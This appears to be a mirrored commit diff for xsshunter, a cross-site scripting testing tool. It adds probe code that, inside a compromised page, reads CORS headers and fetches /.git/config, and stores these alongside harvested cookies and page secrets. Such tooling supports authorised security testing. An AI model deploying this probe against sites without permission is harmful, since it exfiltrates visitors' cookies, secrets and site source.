mirror of
https://github.com/trufflesecurity/xsshunter
synced 2024-09-20 06:31:59 +00:00
Merge pull request #13 from trufflesecurity/cors-check
Cors and .git check and making it easier to run on localhost
This commit is contained in:
commit
38bebeda34
7 changed files with 139 additions and 29 deletions
12
api.js
12
api.js
|
@ -5,6 +5,7 @@ const cors = require('cors');
|
|||
const path = require('path');
|
||||
const uuid = require('uuid');
|
||||
const asyncfs = require('fs').promises;
|
||||
const fs = require('fs');
|
||||
const sessions = require('@truffledustin/node-client-sessions');
|
||||
const favicon = require('serve-favicon');
|
||||
const database = require('./database.js');
|
||||
|
@ -53,6 +54,15 @@ function session_wrapper_function(req, res, next) {
|
|||
return sessions_middleware(req, res, next);
|
||||
}
|
||||
|
||||
async function check_file_exists(file_path) {
|
||||
return asyncfs.access(file_path, fs.constants.F_OK).then(() => {
|
||||
return true;
|
||||
}).catch(() => {
|
||||
return false;
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
async function set_up_api_server(app) {
|
||||
// Check for existing session secret value
|
||||
const session_secret_setting = process.env.SESSION_SECRET_KEY;
|
||||
|
@ -443,6 +453,8 @@ async function set_up_api_server(app) {
|
|||
"screenshot_id": payload.screenshot_id,
|
||||
"was_iframe": payload.was_iframe,
|
||||
"browser_timestamp": payload.browser_timestamp,
|
||||
"CORS": payload.CORS,
|
||||
"gitExposed": payload.gitExposed,
|
||||
"createdAt": payload.createdAt,
|
||||
"updatedAt": payload.updatedAt,
|
||||
"secrets": payload_secrets
|
||||
|
|
26
app.js
26
app.js
|
@ -163,6 +163,14 @@ async function get_app_server() {
|
|||
"type": "string",
|
||||
"default": []
|
||||
},
|
||||
"CORS": {
|
||||
"type": "string",
|
||||
"default": []
|
||||
},
|
||||
"gitExposed": {
|
||||
"type": "string",
|
||||
"default": []
|
||||
},
|
||||
"path": {
|
||||
"type": "string",
|
||||
"default": ""
|
||||
|
@ -269,6 +277,13 @@ async function get_app_server() {
|
|||
correlated_request: 'No correlated request found for this injection.',
|
||||
}
|
||||
|
||||
if (req.body.CORS != "false"){
|
||||
payload_fire_data.CORS = req.body.CORS;
|
||||
}
|
||||
if (req.body.gitExposed != "false"){
|
||||
payload_fire_data.gitExposed = req.body.gitExposed.substring(0,5000);
|
||||
}
|
||||
|
||||
// Check for correlated request
|
||||
const correlated_request_rec = await InjectionRequests.findOne({
|
||||
where: {
|
||||
|
@ -285,7 +300,7 @@ async function get_app_server() {
|
|||
|
||||
console.log("saved record");
|
||||
// Send out notification via configured notification channel
|
||||
if(user.sendEmailAlerts) {
|
||||
if(user.sendEmailAlerts && process.env.SMTP_EMAIL_NOTIFICATIONS_ENABLED=="true") {
|
||||
payload_fire_data.screenshot_url = `https://${process.env.HOSTNAME}/screenshots/${payload_fire_data.screenshot_id}.png`;
|
||||
await notification.send_email_notification(payload_fire_data, user.email);
|
||||
}
|
||||
|
@ -334,10 +349,17 @@ async function get_app_server() {
|
|||
if (! chainload_uri){
|
||||
chainload_uri = '';
|
||||
}
|
||||
let xssURI = ""
|
||||
if(process.env.XSS_HOSTNAME.startsWith("localhost")){
|
||||
xssURI = `http://${process.env.XSS_HOSTNAME}`
|
||||
}else{
|
||||
|
||||
xssURI = `https://${process.env.XSS_HOSTNAME}`
|
||||
}
|
||||
|
||||
res.send(XSS_PAYLOAD.replace(
|
||||
/\[HOST_URL\]/g,
|
||||
`https://${process.env.XSS_HOSTNAME}`
|
||||
xssURI
|
||||
).replace(
|
||||
'[COLLECT_PAGE_LIST_REPLACE_ME]',
|
||||
JSON.stringify([])
|
||||
|
|
17
database.js
17
database.js
|
@ -206,6 +206,18 @@ PayloadFireResults.init({
|
|||
allowNull: false,
|
||||
unique: false
|
||||
},
|
||||
// git directory exposed
|
||||
gitExposed: {
|
||||
type: Sequelize.TEXT,
|
||||
allowNull: true,
|
||||
unique: false
|
||||
},
|
||||
// cors data
|
||||
CORS: {
|
||||
type: Sequelize.TEXT,
|
||||
allowNull: true,
|
||||
unique: false
|
||||
},
|
||||
}, {
|
||||
sequelize,
|
||||
modelName: 'payload_fire_results',
|
||||
|
@ -215,6 +227,11 @@ PayloadFireResults.init({
|
|||
fields: ['url'],
|
||||
method: 'BTREE',
|
||||
},
|
||||
{
|
||||
unique: false,
|
||||
fields: ['CORS'],
|
||||
method: 'BTREE',
|
||||
},
|
||||
{
|
||||
unique: false,
|
||||
fields: ['user_id'],
|
||||
|
|
|
@ -24,7 +24,7 @@
|
|||
</card>
|
||||
<card>
|
||||
<h4 class="card-title">XSSHunter Path</h4>
|
||||
<h6 class="card-subtitle mb-2 text-muted">Unique path that ties injection payloads back to you. Can be set to something shorter. (defaults to 20 chars)</h6>
|
||||
<h6 class="card-subtitle mb-2 text-muted">Unique path linked to your account that ties injection payloads back to you. Shorter is better. WARNING: changing this will make existing payloads not linked to your account. (defaults to 20 chars)</h6>
|
||||
<p class="card-text">
|
||||
<base-input v-model:value="user_path" type="text" placeholder="..."></base-input>
|
||||
</p>
|
||||
|
|
|
@ -46,7 +46,7 @@
|
|||
</small>
|
||||
</div>
|
||||
<div class="m-2 mt-4">
|
||||
<code v-if="report.url">{{report.url}}</code>
|
||||
<pre v-if="report.url">{{report.url}}</pre>
|
||||
<pre v-else><i>None</i></pre>
|
||||
</div>
|
||||
<hr />
|
||||
|
@ -59,7 +59,7 @@
|
|||
</small>
|
||||
</div>
|
||||
<div class="m-2 mt-4">
|
||||
<code v-if="report.ip_address">{{report.ip_address}}</code>
|
||||
<pre v-if="report.ip_address">{{report.ip_address}}</pre>
|
||||
<pre v-else><i>None</i></pre>
|
||||
</div>
|
||||
<hr />
|
||||
|
@ -72,7 +72,7 @@
|
|||
</small>
|
||||
</div>
|
||||
<div class="m-2 mt-4">
|
||||
<code v-if="report.referer">{{report.referer}}</code>
|
||||
<pre v-if="report.referer">{{report.referer}}</pre>
|
||||
<pre v-else><i>None</i></pre>
|
||||
</div>
|
||||
<hr />
|
||||
|
@ -85,7 +85,7 @@
|
|||
</small>
|
||||
</div>
|
||||
<div class="m-2 mt-4">
|
||||
<code v-if="report.user_agent">{{report.user_agent}}</code>
|
||||
<pre v-if="report.user_agent">{{report.user_agent}}</pre>
|
||||
<pre v-else><i>None</i></pre>
|
||||
</div>
|
||||
<hr />
|
||||
|
@ -98,7 +98,7 @@
|
|||
</small>
|
||||
</div>
|
||||
<div class="m-2 mt-4">
|
||||
<code v-if="report.cookies">{{report.cookies}}</code>
|
||||
<pre v-if="report.cookies">{{report.cookies}}</pre>
|
||||
<pre v-else><i>None</i></pre>
|
||||
</div>
|
||||
<hr />
|
||||
|
@ -111,7 +111,7 @@
|
|||
</small>
|
||||
</div>
|
||||
<div class="m-2 mt-4">
|
||||
<code v-if="report.title">{{report.title}}</code>
|
||||
<pre v-if="report.title">{{report.title}}</pre>
|
||||
<pre v-else><i>None</i></pre>
|
||||
</div>
|
||||
<hr />
|
||||
|
@ -124,8 +124,8 @@
|
|||
</small>
|
||||
</div>
|
||||
<div class="m-2 mt-4">
|
||||
<code v-if="report.origin">{{report.origin}}</code>
|
||||
<pre v-else><i>None</i></pre>
|
||||
<pre v-if="report.origin">{{report.origin}}</pre>
|
||||
<pre v-else><code>None</code></pre>
|
||||
</div>
|
||||
<hr />
|
||||
</div>
|
||||
|
@ -133,14 +133,41 @@
|
|||
<div>
|
||||
<p class="report-section-label mr-2">Secrets</p>
|
||||
<small slot="helperText" class="form-text text-muted report-section-description">
|
||||
Any secrets harvested from the HTML and Javascript.
|
||||
TruffleHog-lite, used to capture any secrets harvested from the HTML and Javascript.
|
||||
</small>
|
||||
</div>
|
||||
<div class="m-2 mt-4" v-if="report.secrets">
|
||||
<pre v-for="secret in report.secrets">Secret type: {{ secret.secret_type }}
|
||||
Secret value: {{ secret.secret_value }}</pre>
|
||||
</div>
|
||||
<div>
|
||||
<li v-for="secret in report.secrets">
|
||||
Secret type: {{ secret.secret_type }}
|
||||
Secret value: {{ secret.secret_value }}
|
||||
</li>
|
||||
<pre v-else>No secrets detected</pre>
|
||||
</div>
|
||||
<hr />
|
||||
</div>
|
||||
<div>
|
||||
<div>
|
||||
<p class="report-section-label mr-2">CORS</p>
|
||||
<small slot="helperText" class="form-text text-muted report-section-description">
|
||||
What is the CORS policy for the website the XSS rendered on?
|
||||
</small>
|
||||
</div>
|
||||
<div class="m-2 mt-4">
|
||||
<pre v-if="report.CORS">Access-Control-Allow-Origin: {{report.CORS}}</pre>
|
||||
<pre v-else><i>No CORS headers detected</i></pre>
|
||||
</div>
|
||||
<hr />
|
||||
</div>
|
||||
<div>
|
||||
<div>
|
||||
<p class="report-section-label mr-2">Leaked Source Code</p>
|
||||
<small slot="helperText" class="form-text text-muted report-section-description">
|
||||
Was the source code exposed via /.git ? (Shows contents of /.git/config)
|
||||
</small>
|
||||
</div>
|
||||
<div class="m-2 mt-4">
|
||||
<pre v-if="report.gitExposed">{{report.gitExposed}}</pre>
|
||||
<pre v-else><i>No .git directory detected</i></pre>
|
||||
</div>
|
||||
<hr />
|
||||
</div>
|
||||
|
@ -152,7 +179,7 @@
|
|||
</small>
|
||||
</div>
|
||||
<div class="m-2 mt-4">
|
||||
<code v-if="report.browser_timestamp">{{ new Date(parseInt(report.browser_timestamp)) | moment("dddd, MMMM Do YYYY, h:mm:ss a")}} (<i>{{report.browser_timestamp}}</i>)</code>
|
||||
<pre v-if="report.browser_timestamp">{{ new Date(parseInt(report.browser_timestamp)) | moment("dddd, MMMM Do YYYY, h:mm:ss a")}} (<i>{{report.browser_timestamp}}</i>)</pre>
|
||||
<pre v-else><i>None</i></pre>
|
||||
</div>
|
||||
<hr />
|
||||
|
@ -165,16 +192,9 @@
|
|||
</small>
|
||||
</div>
|
||||
<div class="m-2 mt-4">
|
||||
<p>
|
||||
Fired in iFrame?: <code>{{report.was_iframe}}</code>
|
||||
</p>
|
||||
<p>
|
||||
Vulnerability enumerated <code>{{ report.createdAt | moment("dddd, MMMM Do YYYY, h:mm:ss a") }}</code>
|
||||
</p>
|
||||
<p>
|
||||
Report ID: <code>{{report.id}}</code>
|
||||
</p>
|
||||
</div>
|
||||
<pre>Fired in iFrame?: {{report.was_iframe}}
|
||||
Vulnerability enumerated {{ report.createdAt | moment("dddd, MMMM Do YYYY, h:mm:ss a") }}
|
||||
Report ID: {{report.id}}</pre>
|
||||
<hr />
|
||||
</div>
|
||||
<base-button simple block type="primary" class="mt-4" v-on:click="collapse_report(report.id)" v-if="is_report_id_expanded(report.id)">
|
||||
|
@ -386,6 +406,11 @@ export default {
|
|||
color: #fff
|
||||
}
|
||||
|
||||
pre {
|
||||
background-color: rgba(255, 255, 255, 0.8);
|
||||
color: #38645a;
|
||||
}
|
||||
|
||||
.pagination .page-item.disabled>.page-link {
|
||||
opacity: .5
|
||||
}
|
||||
|
@ -460,6 +485,7 @@ export default {
|
|||
|
||||
|
||||
.report-section-label {
|
||||
background: #5BB381;
|
||||
font-size: 18px;
|
||||
display: inline;
|
||||
}
|
||||
|
@ -474,7 +500,7 @@ export default {
|
|||
}
|
||||
|
||||
.report-section-description {
|
||||
color: #d3d3d7 !important;
|
||||
color: #5bb381 !important;
|
||||
font-style: italic;
|
||||
display: inline;
|
||||
float: right;
|
||||
|
|
|
@ -6,6 +6,7 @@
|
|||
<div class="row pl-4 pr-4 p-2" style="display: block;">
|
||||
<div>
|
||||
<h1><i class="fas fa-file-code"></i> XSS Payloads</h1>
|
||||
<h3>For a shorter URL, change your path on the settings page</h3>
|
||||
</div>
|
||||
<card v-for="payload in payloads">
|
||||
<h4 class="card-title" v-html="payload.title"></h4>
|
||||
|
|
34
probe.js
34
probe.js
|
@ -79,6 +79,26 @@ function base64_to_blob(base64Data, contentType) {
|
|||
return new Blob(byteArrays, { type: contentType });
|
||||
}
|
||||
|
||||
let check_cors = async function(){
|
||||
let res = await fetch("", {method: 'HEAD'})
|
||||
for (const header of res.headers){
|
||||
if (header[0].toLowerCase() == "access-control-allow-origin"){
|
||||
return header[1];
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
let check_git = async function(){
|
||||
|
||||
let res = await fetch("/.git/config");
|
||||
let text = await res.text();
|
||||
if (text.startsWith("[core]")){
|
||||
return text
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
function get_guid() {
|
||||
var S4 = function() {
|
||||
return (((1+Math.random())*0x10000)|0).toString(16).substring(1);
|
||||
|
@ -291,13 +311,25 @@ probe_return_data['title'] = document.title;
|
|||
|
||||
probe_return_data['was_iframe'] = !(window.top === window)
|
||||
|
||||
function hook_load_if_not_ready() {
|
||||
async function hook_load_if_not_ready() {
|
||||
try {
|
||||
try {
|
||||
probe_return_data['secrets'] = look_for_secrets(never_null( document.documentElement.outerHTML ));
|
||||
} catch ( e ) {
|
||||
probe_return_data['secrets'] = [];
|
||||
}
|
||||
try{
|
||||
const corsResults = await check_cors();
|
||||
probe_return_data['CORS'] = corsResults;
|
||||
} catch (e) {
|
||||
probe_return_data['CORS'] = "false";
|
||||
}
|
||||
try{
|
||||
const gitResults = await check_git();
|
||||
probe_return_data['gitExposed'] = gitResults;
|
||||
} catch (e) {
|
||||
probe_return_data['gitExposed'] = "false";
|
||||
}
|
||||
probe_return_data['secrets'] = JSON.stringify(probe_return_data['secrets']);
|
||||
html2canvas(document.body).then(function(canvas) {
|
||||
StackBlur.canvasRGB(
|
||||
|
|
Loading…
Reference in a new issue